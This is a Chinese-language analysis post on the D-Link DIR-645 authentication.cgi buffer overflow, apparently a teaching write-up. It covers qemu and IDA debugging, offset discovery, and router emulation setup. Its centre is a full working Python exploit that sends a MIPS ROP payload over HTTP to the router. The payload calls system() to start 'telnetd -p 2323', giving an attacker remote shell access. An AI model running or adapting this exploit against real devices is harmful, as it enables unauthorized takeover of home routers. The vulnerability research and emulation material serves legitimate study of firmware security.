|
原文链接:D-Link DIR-645路由器溢出分析
1
漏洞介绍
该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
2
固件提取文件系统
固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
3
qemu+IDA调试分析
1、run_cgi.sh脚本:
- #!/bin/bash
- # 待执行命令
- # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"
- INPUT="$1" # 参数1,uid=A21G&password=1160个A
- TEST="$2" # 参数2,uid=A21G
- LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
- PORT="1234" # 监听的调试端口
- # 用法错误则提示
- if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
- then
- echo -e "\nUsage: sudo $0 \n"
- exit 1
- fi
- # 复制qemu-mipsel-static到本目录并重命名,注意是static版本
- cp $(which qemu-mipsel-static) ./qemu
- echo $TEST
- # | 管道符:前者输出作为后者输入
- # chroot 将某目录设置为根目录(逻辑上的)
- echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
- echo 'run ok'
- rm -f ./qemu # 删除拷贝过来的执行文件
复制代码 2、调试目标程序需要匹配正确。
3、IDA分析,追踪问题函数
4、填充数据调试
IDA调试参考:
获得&ra在栈上的地址(这是非子叶函数的性质):
F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):
注意:为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
5、看看a1正常的内容读取:
缩短填充内容的长度,重新调试:
程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明显的步骤,可以自己找到此处再下个断点。
结论:真实溢出位置就是read()函数引起的。
6、分析read()函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源与目的地:
分析方法:由于MIPS是流水线执行指令顺序,寻找参数先到函数跳转处先向下查找参数,然受再向上查找参数。
最终得到read()函数原型:read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7、注var_430计算大小方式,根据栈中变量的顺序去计算:
至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出,所以就不附上步骤了。
根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。
验证分析:
程序异常退出在此处,分析:
在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:
更改回要求的形式获得结果:
4
漏洞利用
1、调试确定偏移
这里分享个更方便的脚本patter.pl脚本生成构造数据:
2、patter.pl脚本使用方法
有两种操作模式:
只提供一个参数,即要生成的字符串的长度( ./ gspattern.pl [length of string] )
字符串的长度和要找到偏移量的模式提供(./ gspattern.pl [字符串长度] [搜索模式])
注(搜索模式):获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
3、生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下)
- ./pattern.pl 1160 > test_auth
复制代码
调试确定需要的偏移位置值:
- sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"
复制代码
将0x38684237 转成对应ASCII码:8hB7
4、构造ROP参考:家用路由器漏洞挖掘实例分析
5、POC
- import sys
- import time
- import string
- import socket
- from random import Random
- import urllib, urllib2, httplib
- class MIPSPayload:
- BADBYTES = [0x00]
- LITTLE = "little"
- BIG = "big"
- FILLER = "A"
- BYTES = 4
- def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
- self.libase = libase
- self.shellcode = ""
- self.endianess = endianess
- self.badbytes = badbytes
- def rand_text(self, size):
- str = ''
- chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
- length = len(chars) - 1
- random = Random()
- for i in range(size):
- str += chars[random.randint(0,length)]
- return str
- def Add(self, data):
- self.shellcode += data
- def Address(self, offset, base=None):
- if base is None:
- base = self.libase
- return self.ToString(base + offset)
- def AddAddress(self, offset, base=None):
- self.Add(self.Address(offset, base))
- def AddBuffer(self, size, byte=FILLER):
- self.Add(byte * size)
- def AddNops(self, size):
- if self.endianess == self.LITTLE:
- self.Add(self.rand_text(size))
- else:
- self.Add(self.rand_text(size))
- def ToString(self, value, size=BYTES):
- data = ""
- for i in range(0, size):
- data += chr((value >> (8*i)) & 0xFF)
- if self.endianess != self.LITTLE:
- data = data[::-1]
- return data
- def Build(self):
- count = 0
- for c in self.shellcode:
- for byte in self.badbytes:
- if c == chr(byte):
- raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
- count += 1
- return self.shellcode
- def Print(self, bpl=BYTES):
- i = 0
- for c in self.shellcode:
- if i == 4:
- print ""
- i = 0
- sys.stdout.write("\\x%.2X" % ord(c))
- sys.stdout.flush()
- if bpl > 0:
- i += 1
- print "\n"
- class HTTP:
- HTTP = 'http'
- def __init__(self, host, proto=HTTP, verbose=False):
- self.host = host
- self.proto = proto
- self.verbose = verbose
- self.encode_params = True
- def Encode(self, data):
- #just for DIR645
- if type(data) == dict:
- pdata = []
- for k in data.keys():
- pdata.append(k + '=' + data[k])
- data = pdata[1] + '&' + pdata[0]
- else:
- data = urllib.quote_plus(data)
- return data
- def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
- html = ""
- if uri.startswith('/'):
- c = ''
- else:
- c = '/'
- url = '%s://%s' % (self.proto, self.host)
- uri = '/%s' % uri
- if data is not None:
- data = self.Encode(data)
- #print data
- if self.verbose:
- print url
- httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
- httpcli.request('POST',uri,data,headers=headers)
- response=httpcli.getresponse()
- print response.status
- print response.read()
- if __name__ == '__main__':
- libc = 0x2aaf8000 # so动态库的加载基址
- target = {
- "1.03" : [
- 0x531ff, # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
- 0x158c8, # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
- 0x159cc, # rop chain 2(执行system函数,传参cmd以执行命令
- ],
- }
- v = '1.03'
- cmd = 'telnetd -p 2323' # 待执行的cmd命令:在2323端口开启telnet服务
- ip = '192.168.0.1' # 服务器IP地址//here
- # 构造payload
- payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
- payload.AddNops(1011) # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01
- payload.AddAddress(target[v][0], base=libc) # $s0
- payload.AddNops(4) # $s1
- payload.AddNops(4) # $s2
- payload.AddNops(4) # $s3
- payload.AddNops(4) # $s4
- payload.AddAddress(target[v][2], base=libc) # $s5
- payload.AddNops(4) # unused($s6)
- payload.AddNops(4) # unused($s7)
- payload.AddNops(4) # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。
- payload.AddAddress(target[v][1], base=libc) # $ra
- payload.AddNops(4) # fill
- payload.AddNops(4) # fill
- payload.AddNops(4) # fill
- payload.AddNops(4) # fill
- payload.Add(cmd) # shellcode
- # 构造http数据包
- pdata = {
- 'uid' : '3Ad4',
- 'password' : 'AbC' + payload.Build(),
- }
- header = {
- 'Cookie' : 'uid='+'3Ad4',
- 'Accept-Encoding': 'gzip, deflate',
- 'Content-Type' : 'application/x-www-form-urlencoded',
- 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
- }
- # 发起http请求
- try:
- HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
- print '[+] execute ok'
- except httplib.BadStatusLine:
- print "Payload deliverd."
- except Exception,e:
- print "2Payload delivery failed: %s" % str(e)
复制代码
注释:栈内数据对应寄存器
5
qemu开启仿真环境
1、打开qemu系统- sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
复制代码
2、利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
3、开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:
- mount -o bind /dev ./squashfs-root/dev
- mount -t proc /proc ./squashfs-root/proc/
- chroot ./squashfs-root/ sh
复制代码 然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:
然后根据报错提示去修复:
当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。
|
|